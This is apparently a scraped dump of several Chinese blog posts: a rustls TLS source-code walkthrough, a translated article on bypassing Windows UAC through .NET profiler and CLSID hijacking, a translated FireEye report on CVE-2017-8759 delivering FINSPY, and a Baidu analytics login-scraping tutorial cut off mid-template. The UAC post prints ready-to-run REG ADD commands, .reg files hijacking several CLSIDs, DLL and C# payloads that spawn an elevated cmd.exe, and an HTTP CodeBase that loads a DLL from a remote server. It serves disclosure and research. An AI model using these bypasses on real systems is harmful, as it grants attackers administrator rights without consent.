ciper.rs定义了加密解密的接口。 MessageEncrypter,MessageDecrypter,具体使用加解密方法在握手过程中ExpectTLS12ServerDone::handle/ExpectTLS12ClientKX::handle设置。 1234567891011121314151617181920//client端// 5e. Now commit secrets.let hashalg = sess.common.get_suite().get_hash();if st.handshake.using_ems { sess.secrets = Some(SessionSecrets::new_ems(&st.handshake.randoms, &handshake_hash, hashalg, &kxd.premaster_secret));} else { sess.secrets = Some(SessionSecrets::new(&st.handshake.randoms, hashalg, &kxd.premaster_secret));}sess.start_encryption_tls12();//----------pub fn start_encryption_tls12(&mut self, secrets: &SessionSecrets) { let (dec, enc) = cipher::new_tls12(self.get_suite(), secrets); self.message_encrypter = enc; self.message_decrypter = dec; } client详解12src/client/mod.rs 导出ClientSession接口,外部使用src/client/hs.rs tls协议中所有包处理,包括握手和传输 ClientSession内部由ClientSessionImpl实现。 123456789pub struct ClientSessionImpl { pub config: Arc<ClientConfig>, //保存client端的证书,密钥配置等信息 pub secrets: Option<SessionSecrets>, //保存握手后的会话密钥 pub alpn_protocol: Option<String>, pub common: SessionCommon, // 完成具体消息传输、加解密等 pub error: Option<TLSError>, pub state: Option<Box<hs::State + Send>>, // 保存握手过程中的交互状态,握手中处理对象都实现State接口 pub server_cert_chain: CertificatePayload, // 服务端证书链} 握手,准备第一个数据包。 ClientSessionImpl::new内部就会准备握手要发送的第一个数据包。 123456789101112131415161718cs.state = Some(hs::start_handshake(&mut cs, hostname));//cs.state保存下一次将处理数据对象---> //进入hs.rsInitialState::emit_initial_client_hello--->emit_client_hello_for_retry---> //构造发送的数据包let mut chp = HandshakeMessagePayload { typ: HandshakeType::ClientHello, payload: HandshakePayload::ClientHello(ClientHelloPayload { client_version: ProtocolVersion::TLSv1_2, random: Random::from_slice(&handshake.randoms.client), session_id: session_id, cipher_suites: sess.get_cipher_suites(), compression_methods: vec![Compression::Null], extensions: exts, }), }; 然后,收到返回数据之后,会在ClientSessionImpl::process_main_protocol调用state.handle来处理收到的数据,然后返回新的state,用于下次处理,如此循环,知道握手完成。 12345678910111213fn process_main_protocol(&mut self, msg: Message) -> Result<(), TLSError> { //检查消息是否合法 let state = self.state.take().unwrap(); state .check_message(&msg) .map_err(|err| { self.queue_unexpected_alert(); err })?; //处理本次数据,返回下次需要处理的数据对象 self.state = Some(state.handle(self, msg)?); Ok(())} 消息处理调用流程如下: 12//ClientSessionImplprocess_new_packets->process_msg->process_main_protocol->state.handle 下面直接列出client端握手处理流程: 1234567891011ExpectServerHelloOrHelloRetryRequest:handle ExpectServerHello:handle // 处理serverhelloExpectTLS12Certificate: handle //验证证书ExpectTLS12ServerKX: handle // 密钥交换ExpectTLS12ServerDoneOrCertReq: handleExpectTLS12ServerDone: handleemit_clientkxemit_ccsExpectTLS12CCS:handle //通知使用加密方式发送报文,sess.common.peer_now_encrypting();设置后面数据会加密的状态emit_finishedExpectTLS12Finished:handle // 握手结束 在ExpectTLS12Finished::handle中,会保存session,开始传输数据,以及返回下次的state,此时握手协议已经完成。 123456789101112save_session(&mut st.handshake, &mut st.ticket, sess);if st.resuming { emit_ccs(sess); emit_finished(&mut st.handshake, sess);}sess.common.we_now_encrypting();sess.common.start_traffic(); //发送数据Ok(st.into_expect_tls12_traffic(fin)) // 下次需要ExpectTLS12Traffic 后面数据传输的所有流程都会进入ExpectTLS12Traffic::handle,也就是开始传输协议。 123456impl State for ExpectTLS12Traffic { fn handle(self: Box<Self>, sess: &mut ClientSessionImpl, mut m: Message) -> StateResult { sess.common.take_received_plaintext(m.take_opaque_payload().unwrap()); Ok(self) //返回的依然是ExpectTLS12Traffic给state,所以以后都会进入这里 }} 传输数据的处理。 接收数据 调用take_received_plaintext将获取到的明文Message传给内部处理,存入SessionCommon的received_plaintext,等待用户的提取。 那明文Message是怎么来的呢?是在前面说到的消息处理流程中,到handle之前。 1process_new_packets->process_msg->process_main_protocol->state.handle 在process_msg中会判断peer_encrypting状态为真则将数据解密,而该状态是在握手中ExpectTLS12CCS::handle 被设置为true的。 1234567891011pub fn process_msg(&mut self, mut msg: Message) -> Result<(), TLSError> { // Decrypt if demanded by current state. if self.common.peer_encrypting { let dm = self.common.decrypt_incoming(msg)?; //解密数据 msg = dm; } //self.common.peer_encryptingpub fn peer_now_encrypting(&mut self) { self.peer_encrypting = true;} 发送数据 握手过程中,发送数据包使用sess.common.send_msg(ch, false)。send_msg内部根据是否加密状态(must_encrypt)进行不同处理,直接缓存或者调用send_msg_encrypt加密之后缓存。 1send_msg_encrypt->send_single_fragment->encrypt_outgoing(加密) 最后都是通过queue_tls_message将数据先缓存,然后在调用write_tls之后将数据发送。 123pub fn write_tls(&mut self, wr: &mut Write) -> io::Result<usize> { self.sendable_tls.write_to(wr)} 握手完成后,通过ClientSession实现的io::write(或者write_all)接口发送明文数据。 1234567891011impl io::Write for ClientSession { //先缓存数据 fn write(&mut self, buf: &[u8]) -> io::Result<usize>{ self.imp.common.send_some_plaintext(buf) } //flush时才发送数据 fn flush(&mut self) -> io::Result<()> { self.imp.common.flush_plaintext(); Ok(()) }} send_some_plaintext在根据是否握手完成有不同的操作,握手未完成时,先缓存明文到sendable_plaintext,握手完成后,直接调用send_appdata_encrypt缓存密文(进入send_single_fragment过程加密)。 123456789101112131415pub fn send_some_plaintext(&mut self, data: &[u8]) -> io::Result<usize> { self.send_plain(data, Limit::Yes)}fn send_plain(&mut self, data: &[u8], limit: Limit) -> io::Result<usize> { if !self.traffic { //握手未完成 let len = match limit { //缓存明文 Limit::Yes => self.sendable_plaintext.append_limited_copy(data), Limit::No => self.sendable_plaintext.append(data.to_vec()) }; return Ok(len); } //握手完成,直接缓存加密数据 Ok(self.send_appdata_encrypt(data, limit))} 握手完成时,之前缓存的明文数据通过start_traffic实际将数据加密缓存到sendable_tls,最后也是通过write_tls发送出去。 123456pub fn start_traffic(&mut self) { self.traffic = true; self.flush_plaintext(); }->flush_plaintext->send_plain->send_appdata_encrypt->send_single_fragment-> encrypt_outgoing(加密) 握手完成之后调用的send_some_plaintext是直接将数据加密缓存,在write_tls后发送出去。 server详解123src/server/mod.rs 导出ServerSession接口,外部使用src/server/hs.rs tls协议中所有包处理,包括握手和传输src/client/ 公开外部使用的借口ServerSession,内部由ServerSessionImpl实现。 12345678910pub struct ServerSessionImpl { pub config: Arc<ServerConfig>, //证书、密钥等配置 pub secrets: Option<SessionSecrets>, //会话密钥 pub common: SessionCommon, // 实际握手传输数据处理对象 sni: Option<webpki::DNSName>, //SNI(Server Name Indication) ,解决一个服务器使用多个域名和证书的SSL/TLS扩展 pub alpn_protocol: Option<String>, pub error: Option<TLSError>, pub state: Option<Box<hs::State + Send>>, //握手和传输中处理数据包的状态,每个状态的数据包处理对象 pub client_cert_chain: Option<Vec<key::Certificate>>, //client证书链} 接口基本和ClientSession类似,不再详述 握手流程 server和client处理握手的方式都一样,每个握手包处理对象都会实现State接口。 1234pub trait State { fn check_message(&self, m: &Message) -> CheckResult; fn handle(self: Box<Self>, sess: &mut ServerSessionImpl, m: Message) -> StateResult;} 然后在收到client消息之后,在process_main_protocol中调用对应握手包对象的handle函数,并且会返回握手期望处理的下次数据包对象给state,以便下次收到消息继续处理。 12//process_main_protocolself.state = Some(st.handle(self, msg)?); 握手流程: 1234567-----ExpectClientHello::handle-----ExpectTLS12Certificate::handle //如果需要验证client的证书,有这步-----ExpectTLS12ClientKX::handle //密钥交换-----ExpectTLS12CertificateVerify::handle //验证client证书-----ExpectTLS12CCS::handle //通知使用加密方式发送报文-----ExpectTLS12Finished::handle //握手完成-----ExpectTLS12Traffic:: handle //开发传输数据 消息传输 同样,握手完成后,server在ExpectTLS12Traffic::handle中处理后续的传输协议中的消息。 1234567impl State for ExpectTLS12Traffic { fn handle(self: Box<Self>, sess: &mut ServerSessionImpl, mut m: Message) -> StateResult { println!("-----ExpectTLS12Traffic::handle"); sess.common.take_received_plaintext(m.take_opaque_payload().unwrap()); Ok(self) }} 数据加密和解密流程基本和client类似,不再详述。 另外,client和server握手中需要发送的数据包构造都在hs.rs::emit_xxx函数中 消息相关该部分存在单独的msgs目录下,包含了握手过程中各种消息类型的定义,消息传输具体设计的fragment/deframe等。 所有消息统一的结构Message,Message也定义了一下方便获取字段和数据的借口,这里不再详述。 12345pub struct Message { pub typ: ContentType, pub version: ProtocolVersion, pub payload: MessagePayload,} 123456789101112131415161718//msgs/message.rsMessagePayloadBorrowMessage//msgs/handshake.rs包含握手过程中,证书、密钥交换的一些数据结构//msgs/deframe.rs定义了MessageDeframer,管理Message数据,read/deframe_one//msgs/hsjoiner.rsHandshakeJoiner,重建握手数据,验证数据等定义//msgs/enums.rs各种版本号,算法类型号,握手包类型序号等等的enum定义//msgs/ccs.rs密钥交换相关定义 其他 文件 说明 key.rs 密钥、证书结构定义 pemfile.rs PEM文件解析生成密钥相关接口 verify.rs 证书验证相关 suites.rs 加密套件、密钥交换相关 sign.rs 签名相关 vecbuf.rs 所有消息数据最底层存储结构,vec构成 webpki 三方库,完成证书验证 ring 三方库,完成加密算法相关能力 下篇在根据示例代码分析一下rustls库具体的使用 转载请注明出处:https://anhkgg.github.io/rustls-source-code-analyze/","tags":[{"name":"rust","slug":"rust","permalink":"https://anhkgg.github.io/tags/rust/"},{"name":"rustls","slug":"rustls","permalink":"https://anhkgg.github.io/tags/rustls/"},{"name":"源码分析","slug":"源码分析","permalink":"https://anhkgg.github.io/tags/源码分析/"},{"name":"TLS/SSL","slug":"TLS-SSL","permalink":"https://anhkgg.github.io/tags/TLS-SSL/"}]},{"title":"翻译:通过.NET程序提权绕过UAC","date":"2017-09-21T06:04:46.000Z","path":"tans-net-bypass-uac/","text":".NET框架可以通过用户自定义环境变量和CLSID注册表项来加载profiler DLL或者COM组件DLL,甚至当前进程是提权的。这种行为可以被利用来绕过Windows 7到10(包括最近的RS3)系统的默认UAC设置,如通过自动提权.NET进程(MMC管理单元)来加载任意的DLL。 介绍去年五月, Casey Smith在他的博客和Twitter上指出.NET分析器的DLL加载可能会被滥用,通过环境变量使合法的.NET程序加载一个恶意DLL 当看到这一点,脑海中第一种想法就是,如果这个方法在高权限.NET进程也可以工作,那这将是一个绕过UAC的好办法。果然,确实如此。 这个问题到写这篇博客时依然没有修复,而且可能一直如此——但是在7月,它被 Stefan Kanthak独立地发现并报告了,按完整披露流程公布了该问题。 绕过UAC要让一个.NET应用程序加载任意一个DLL,我们可以使用以下环境变量。 123COR_ENABLE_PROFILING=1COR_PROFILER={GUID}COR_PROFILER_PATH=C:\\path\\to\\some.dll 在.NET 4以下版本,CLSID必须在HKCR\\CLSID{GUID}\\InprocServer32定义包含profiling DLL的路径的注册表键。在最近版本中,CLR通过COR_PROFILER_PATH环境变量来找这个DLL,如果COR_PROFILER_PATH没有定义再使用CLSID查找。 HKCR\\CLSID是HKLM和HKCU下Software\\Classes\\CLSID组合起来显示的。在HKLM(或者系统环境变量)下创建CLSID键需要提权,而在HKCU下创建不需要。需要注意,在用户环境变量和HKCU注册表项下一切也都工作正常。 可以简单使用一段批处理命令让它工作: 12345REG ADD "HKCU\\Software\\Classes\\CLSID\\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\\InprocServer32" /ve /t REG_EXPAND_SZ /d "C:\\Temp\\test.dll" /fREG ADD "HKCU\\Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /fREG ADD "HKCU\\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /fREG ADD "HKCU\\Environment" /v "COR_PROFILER_PATH" /t REG_SZ /d "C:\\Temp\\test.dll" /fmmc gpedit.msc 这些命令在低权限命令行下可以在高权限的mmc.exe进程中加载C:\\temp\\test.dll(如果存在)。可以绕过Windows 7到10(包括最新RS3)系统的默认UAC设置。 内嵌DLL的powershell POC可以在这里找到(只支持X64)。 这个DLL只在DLL_PROCESS_ATTACH下运行一个cmd.exe,会产生一个提权的命令行终端,然后马上退出当前进程,阻止MMC控制台弹出。 12345678910111213141516171819BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved){ char cmd[] = "cmd.exe"; switch (fdwReason) { case DLL_PROCESS_ATTACH: WinExec(cmd, SW_SHOWNORMAL); ExitProcess(0); break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: break; } return TRUE;} 在Windows 7,8.1,10 1703和10 RS3 build 16275中测试通过。当然,如果你有可访问的SMB共享,UNC路径也可以工作。 1COR_PROFILER_PATH=\\\\server\\share\\test.dll 根本原因COM运行时在运行高权限进程时会阻止在HKCU查找CLSID,所以这种绕过方式无效,但是.NET运行时没有阻止,在这种情况下,.NET在shim组件查找时会查找这些键值。 如果要修复,需要CLR实现和COM一样的检查。 更多维度现在我们知道CLR是如何工作的了,我们可以在堆栈中找他CLR调用的其他在HKCU查找CLSID的实例。一个实例是GPEdit(Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager)组件(在我测试虚拟机中CLSID是{B29D466A-857D-35BA-8712-A758861BFEA1})。 查看HKCU已经存在的项中,好像是指向CLR程序及自己实现的组件。 我们可以在HKCU下像这样定义一个COM项(.reg格式):12345678910111213141516171819202122232425Windows Registry Editor Version 5.00[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{B29D466A-857D-35BA-8712-A758861BFEA1}]@="Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager"[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{B29D466A-857D-35BA-8712-A758861BFEA1}\\Implemented Categories][HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{B29D466A-857D-35BA-8712-A758861BFEA1}\\Implemented Categories\\{62C8FE65-4EBB-45E7-B440-6E39B2CDBF29}][HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{B29D466A-857D-35BA-8712-A758861BFEA1}\\InprocServer32]@="C:\\\\Windows\\\\System32\\\\mscoree.dll""Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral""Class"="TestDotNet.Class1""RuntimeVersion"="v4.0.30319""ThreadingModel"="Both""CodeBase"="file://C://Temp//test_managed.dll"[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{B29D466A-857D-35BA-8712-A758861BFEA1}\\InprocServer32\\10.0.0.0]"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral""Class"="TestDotNet.Class1""RuntimeVersion"="v4.0.30319""CodeBase"="file://C://Temp//test_managed.dll"[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{B29D466A-857D-35BA-8712-A758861BFEA1}\\ProgId]@="Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager" MMC会加载我们的托管DLL,并且尝试访问TestDotNet.Class1类。C#没有一种简单的创建入口是DllMain的简单DLL(我们很懒所以不想写模块初始化),但是貌似注册表指向的类被加载了,所以我们只需要一个静态构造函数来执行我们的提权代码。1234567891011121314using System;using System.Diagnostics;namespace TestDotNet{ public class Class1 { static Class1() { Process.Start("cmd.exe"); Environment.Exit(0); } }} 将DLL放在注册表项定义的位置,然后运行gpedit.msc,可以看到弹出了一个提权的终端(和.NET一样)。 这种方式一个有趣的点是CodeBase不仅限于本地文件和SMB共享,这个DLL还可以从HTTP链接中加载。1"CodeBase"="http://server:8080/test_managed.dll" 需要注意的是下载的DLL会拷贝到硬盘上,所以这种方式比本地DLL更好检测(硬盘+网络组合)。 另外一件好事(对攻击者)是这种方式下可以滥用多种CLSID。下面是在compmgmt.msc,event、vwr.msc,secpol.msc和taskschd.msc可使用CLSID: 托管DLL的Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactor组件 12345678910111213141516171819202122Windows Registry Editor Version 5.00[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{D5AB5662-131D-453D-88C8-9BBA87502ADE}]@="Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactory"[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\\Implemented Categories][HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\\Implemented Categories\\{62C8FE65-4EBB-45e7-B440-6E39B2CDBF29}][HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\\InprocServer32]@="C:\\\\Windows\\\\System32\\\\mscoree.dll""Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral""Class"="TestDotNet.Class1""RuntimeVersion"="v2.0.50727""ThreadingModel"="Both""CodeBase"="file://C://Temp//test_managed.dll"[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\\InprocServer32\\3.0.0.0]"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral""Class"="TestDotNet.Class1""RuntimeVersion"="v2.0.50727""CodeBase"="file://C://Temp//test_managed.dll" Native DLL的NDP SymBinder组件,劫持\\Server项 123456789101112131415161718Windows Registry Editor Version 5.00[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{0A29FF9E-7F9C-4437-8B11-F424491E3931}]@="NDP SymBinder"[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\\InprocServer32]@="C:\\\\Windows\\\\System32\\\\mscoree.dll""ThreadingModel"="Both"[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\\InprocServer32\\4.0.30319]@="4.0.30319""ImplementedInThisVersion"=""[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\\ProgID]@="CorSymBinder_SxS"[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\\Server]@="C:\\\\Temp\\\\test_unmanaged.dll" Native DLL的Microsoft Common Language Runtime Meta Data组件,劫持\\Server项(只有secpol.msc可用) 123456789101112131415161718Windows Registry Editor Version 5.00[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}]@="Microsoft Common Language Runtime Meta Data"[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\\InprocServer32]@="C:\\\\Windows\\\\System32\\\\mscoree.dll""ThreadingModel"="Both"[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\\InprocServer32\\4.0.30319]@="4.0.30319""ImplementedInThisVersion"=""[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\\ProgID]@="CLRMetaData.CorRuntimeHost.2"[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\\Server]@="..\\\\..\\\\..\\\\..\\\\Temp\\\\test_unmanaged.dll" (注意:路径必须是相对的,否则mmc.exe会尝试加载C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\C:\\Temp\\test_unmanaged.dll) 不是安全边界微软多次申明UAC不是一个安全边界,安全从业者以更务实的角度来看它:不要信任UAC,不要用admin运行,用非admin用户运行不需要admin的任务,我非常赞同这种说法。 但是依然很多人用admin运行所有的东西,他们都是渗透测试人员和红色组织(都是坏人)感兴趣的目标。所以我猜测还会有新的关于UAC的有趣技术。 如果为了渗透测试,我推荐使用@tiraniddo的例子(一个已经实现,另一个也快来了),它不需要加载DLL,并且目前大部分EDR解决方案还不能捕获它。 另外,如果你也在研究绕过UAC,这个主题外有很多资源,但是下面的必须读一下: @enigma0x3’s research (and his upcoming DerbyCon talk) @tiraniddo’s bypass techniques on UAC via the SilentCleanup task and process token reading: part 1, part 2 & part 3 @hFireF0X’s UACME project that implements most known UAC bypasses, and his posts on kernelmode @FuzzySec’s UAC workshop, and his Bypass-UAC project that implements several bypasses in PowerShell 非常感谢Casey Smith(@subtee)指出.NET profiler DLL技巧,并且感谢对微软开发者找到根本原因给予的帮助,谢谢Matt Graeber (@mattifestation) 的意见和review。 进展时间2017-05-19 发现bypass2017-05-20 给MSRC发邮件 (cc’ing an MS dev as suggested by @mattifestation)2017-05-22 MSRC创建主题 #388112017-05-20/23 和 MS dev讨论2017-06-24 MSRC回复: “We have finished our investigation and determined this does not meet the bar for servicing downlevel. UAC is not a security boundary.”2017-07-05 Stefan Kanthak绕过方案的完整披露2017-09-15 发表本篇文章 文章来源:https://offsec.provadys.com/UAC-bypass-dotnet.html","tags":[{"name":"bypassUAC","slug":"bypassUAC","permalink":"https://anhkgg.github.io/tags/bypassUAC/"},{"name":"UAC","slug":"UAC","permalink":"https://anhkgg.github.io/tags/UAC/"},{"name":".NET","slug":"NET","permalink":"https://anhkgg.github.io/tags/NET/"},{"name":"mmc.exe","slug":"mmc-exe","permalink":"https://anhkgg.github.io/tags/mmc-exe/"}]},{"title":"翻译:FireEye揭露CVE-2017-8759:分发FINSPY的0day","date":"2017-09-14T02:12:47.000Z","path":"tans-fireeye-cve-2017-8759-finspy-0day/","text":"2017.9.12 | by Genwei Jiang, Ben Read, Tom Bennett | Threat Research FIreEye近期检测到一个恶意的利用CVE-2017-8759漏洞的微软Office RTF文档。 CVE-2017-8759是SOAP WSDL分析器代码注入漏洞,在解析SOAP WSDL定义的内容中它允许攻击者注入任意代码。 FireEye分析了这个攻击者使用的微软Word文档,它利用任意代码注入来下载和执行一个包含PowerShell命令的VB脚本。 FireEye将这个漏洞的细节分享给了微软,然后协调了信息披露的时间,发布了修补该漏洞的补丁和安全指导,可以在这里找到它们。 FireEye的邮件,终端以及网络产品都已经可以检测该恶意文档。 针对俄语目标的漏洞该恶意文档(Проект.doc)(MD5:fe5c4d6bb78e170abf5cf3741868ea4c)可能是针对俄语目标的。 在CVE-2017-8759利用成功之后,该文档会下载多个组件(后面有详情),最终会加载一个FINSPY payload(MD5:a7b990d5f57b244dd17e9a937a41e7f5)。 FINSPY恶意软件,也叫做FinFisher或者WingBird,是可以购买的用于“合法窃听”的软件。基于这个和之前FINSPY的使用,我们有更多的信心说这个恶意文档是一个针对俄语目标的网络间谍活动。 根据FireEye动态威胁情报系统的更多的检测,根据不同client的行为关联,发现该样本在2017年7月就已经出现了。 CVE-2017-8759 WSDL 解析器代码注入代码注入漏洞是存在于WSDL解析模块的PrintClientProxy方法中(http://referencesource.microsoft.com/ - System.Runtime.Remoting/metadata/wsdlparser.cs,6111)。 IsValidUrl没有对提供的包含CRLF序列(换行回车)的数据进行正确的校验,这就允许了攻击者注入和执行任意代码。部分漏洞代码如图1所示。 当在SOAP响应中多个address被定义时,代码会在第一个地址后插入“//base.ConfigureProxy(this.GetType(),”字符串,注释了后面剩余的address。然而,如果恶意的address的还有一个CRLF,后面的代码就不会被注释。 图2展示了对CRLF缺乏验证,System.Diagnostics.Process.Start方法会被注入。生成的代码会被.NET框架的csc.exe编译,然后作为DLL加载到Office可执行程序中。 在外散播的攻击FireEye检测到在外散播的攻击使用的是富文本(RTF)格式的文档,和我们之前报告的CVE-2017-0199文档类似。 该恶意样本包含一个是利用更方便的嵌入的SOAP Moniker,如图3所示。 样本从一个攻击者控制的服务器接收恶意的SOAP WSDL定义的数据。.NET框架中System.Runtime.Remoting.ni.dll中实现的WSDL解析器会解析内容然后生成一个.cs源代码到工作目录中。 接着.NET框架的csc.exe编译该代码生成一个名字像http[url path].dll的库文件。然后微软的Office会加载这个库,完成漏洞利用。图4展示了漏洞利用加载的示例库文件。 在成功的利用中,注入的代码会创建一个新的进程,利用mshta.exe会从同一个服务器接收一个叫做“word.db”的HTA脚本。 HTA脚本会从磁盘删除源代码,编译的DLL和PDB文件,然后下载执行叫做“left.jpg”的FINSPY恶意软件,虽然它是.jpg后缀名,类型是image/jpeg,但其实是个可执行文件。 图5展示了恶意软件传输的PCAP细节。 该恶意软件会被放在%appdata%\\Microsoft\\Windows\\OfficeUpdte-KB[ 6 random numbers ].exe中。图6展示了在Process Monitor中的进程创建链。 恶意软件Left.jpg (md5: a7b990d5f57b244dd17e9a937a41e7f5)是FINSPY的变体。它利用高强度的混淆代码开发了一个内置虚拟机以及其他的一些反分析技术,来增加逆向的难度。比如另个月单独的反分析技术是,它会解析自己的全路径,然后搜索是否存在他自己的MD5哈希字符串。很多分析工具和沙箱为了能保证准确的唯一文件名会重命名样本文件为MD5哈希。该样本会使用WininetStartupMutex0的mutex来保证单实例。 总结CVE-2017-8759是2017年FireEye发现的第二个分发FINSPY的0day。这个揭露说明签名资源对“合法窃听”的公司和他们用户都是可用的。此外,FINSPY买了多个不同的客户端,漏洞可以用于攻击其他的目标。 CVE-2017-8759可能已经被更多的攻击者利用了。尽管我们没有证据,但是在2017年7月分析中,CVE-2017-0199已经被金融攻击者用来分发FINSPY。如果FINSPY的攻击者有之前使用的相同源码的漏洞,那么可能代码已经被卖给了更多的攻击者。 感谢感谢Dhanesh Kizhakkinan, Joseph Reyes, FireEye Labs Team, FireEye FLARE Team and FireEye iSIGHT Intelligence发布这个博客。同样感谢MSRC协助解决这个问题的工作人员。 参考:http://blog.sina.com.cn/s/blog_67ae918d0102e1l9.html 文章来源:https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html 转载请注明:http://anhkgg.github.io/tans-fireeye-cve-2017-8759-finspy-0day/","tags":[{"name":"FireEye","slug":"FireEye","permalink":"https://anhkgg.github.io/tags/FireEye/"},{"name":"cve20178759","slug":"cve20178759","permalink":"https://anhkgg.github.io/tags/cve20178759/"},{"name":"FINSPY","slug":"FINSPY","permalink":"https://anhkgg.github.io/tags/FINSPY/"}]},{"title":"pylogin系列之搞定百度统计","date":"2017-08-21T16:01:25.000Z","path":"pylogin-baidutongji-login-analyze/","text":"概述这次分析的百度统计登录接口,算是这几个中最简单的了。 但是学到了一个新东西,叫做js模板,搞web的同学应该知道,我这种web半吊子第一次见,非常有意思。 工具: 1231. chrome/firefox2. f12,network3. python:requests、re 登录接口打开百度统计首页https://tongji.baidu.com/web/welcome/login,点开登录框,f12。尝试输入之后,查看发送的数据。 123456789101112131415Request URL:https://cas.baidu.com/?action=loginRequest Method:POSTStatus Code:200 OKappscope[]:6appscope[]:7appscope[]:12appid:12entered_login:anhkgg //名字entered_password:1111111111111111 //密码entered_imagecode:9mxm //验证码charset:utf-8fromu:https://tongji.baidu.com/web/welcome/loginbackselfu:https://tongji.baidu.com/web/welcome/loginsenderr:1 除了上面注释的需要输入的三个字段,其他字段意义都不明确,偷点懒,多次尝试后发现其他字段不会变化,那么就用固定值了。 点击验证码,看到网络,拿到获取验证码的请求,key使用10位时间戳。 1GET https://cas.baidu.com/?action=image&key=1503151305 所以登录接口就出来了,vcode需要人工输入。 123456789101112131415161718url = 'https://cas.baidu.com/?action=image&key=' + time_stamp(10)r = self.s.get(url)payload = { 'appscope[]':6, 'appscope[]':7, 'appscope[]':12, 'appid':12, 'entered_login':name, 'entered_password':pwd, 'entered_imagecode':vcode, 'charset':'utf-8', 'fromu':'https://tongji.baidu.com/web/welcome/loginback', 'selfu':'https://tongji.baidu.com/web/welcome/login', 'senderr':1, } url = 'https://cas.baidu.com/?action=login'r = self.s.post(url, data = payload) 接着看看登录返回状态,如果失败了,返回数据中包含如下数据: 123456789101112131415<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="ReFresh" content="0; url=https://tongji.baidu.com/web/welcome/login?fromu=https%3A%2F%2Ftongji.baidu.com%2Fweb%2Fwelcome%2Floginback&e=%E7%94%A8%E6%88%B7%E5%90%8D%E5%AF%86%E7%A0%81%E9%94%99%E8%AF%AF&un=anhkgg&aid=12&errno=132" /><title>正在处理...</title></head><body> <script> var url="https://tongji.baidu.com/web/welcome/login?fromu=https%3A%2F%2Ftongji.baidu.com%2Fweb%2Fwelcome%2Floginback&e=%E7%94%A8%E6%88%B7%E5%90%8D%E5%AF%86%E7%A0%81%E9%94%99%E8%AF%AF&un=anhkgg&aid=12&errno=132"; location.href=url; </script></body></html> 然后浏览器加载该url,显示错误提示信息 12345678Request URL:https://tongji.baidu.com/web/welcome/login?fromu=https%3A%2F%2Ftongji.baidu.com%2Fweb%2Fwelcome%2Floginback&e=%E7%94%A8%E6%88%B7%E5%90%8D%E5%AF%86%E7%A0%81%E9%94%99%E8%AF%AF&un=anhkgg&aid=12&errno=132Request Method:GETfromu:https://tongji.baidu.com/web/welcome/loginbacke:用户名密码错误un:anhkggaid:12errno:132 其中e是错误提示信息,errno是错误号。 登录成功返回数据如下,没有e错误信息。 1234<script> var url="http://cas.baidu.com/?action=check&appid=12&u=https%3A%2F%2Ftongji.baidu.com%2Fweb%2Fwelcome%2Floginback%3Fcastk%3Dc4086gh7e82166251d451&fromLogin=1";location.href=url;</script> 那么就可以先通过正则拿到url,通过搜索url是否有e判断是否登录成功,并且拿到提示信息。成功则继续访问该url跳转到成功页面,获取其他需要的信息。 12345678910pattern = re.compile(r'var url="(.*?)";')cont = re.search(pattern, r.content)url = cont.group(1)pattern = re.compile(r'e=(.*?)&un=')cont = re.search(pattern, url)if cont != None: r = urllib.unquote(cont.group(1)) #失败 return utf2gbk(r) r = self.s.get(url) # 成功 js模板这里比较意思的是使用的js模板来生成登录表单。 具体js模板使用看这里。 12345678910111213141516171819202122232425262728293031<script id="LoginTemplate" type="text/template"> <div id="LoginContainer" class="login-dialog"> <div id="TopTmp">&nbsp;</div> if (this.isIco == 1) 